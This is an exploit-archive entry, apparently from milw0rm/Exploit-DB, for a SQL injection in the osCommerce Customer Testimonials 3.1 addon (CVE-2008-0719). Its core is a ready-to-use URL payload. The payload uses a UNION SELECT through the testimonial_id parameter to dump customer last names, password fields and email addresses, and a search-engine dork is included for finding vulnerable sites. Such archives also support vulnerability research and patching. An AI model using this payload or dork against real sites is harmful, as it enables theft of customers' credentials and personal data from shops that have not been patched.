osCommerce Addon Customer Testimonials 3.1 - SQL Injection

Author: it's my
type: webapps
platform: php
port: 
date_added: 2008-02-06 
date_updated:  
verified: 1 
codes: OSVDB-41116;CVE-2008-0719 
tags: 
aliases:  
screenshot_url:  
application_url: 

#########################################################
##
##  osCommerce SQL Injection (customer_testimonials.php)
##
##
##  Author: it's my
##
##  Home page: http://www.antichat.ru
##
#########################################################
##
## Dork: inurl:"customer_testimonials.php"
##
#########################################################

   Exploit:

http://site.com/customer_testimonials.php?testimonial_id=99999+union+select+1,2,concat(customers_lastname,0x3a,customers_password,0x3a,customers_email_address),4,5,6,7,8+from+customers/*

#########################################################
## it's my sick world =/   ####    www.antichat.ru
#########################################################

source: http://addons.oscommerce.com/info/5477

# milw0rm.com [2008-02-07]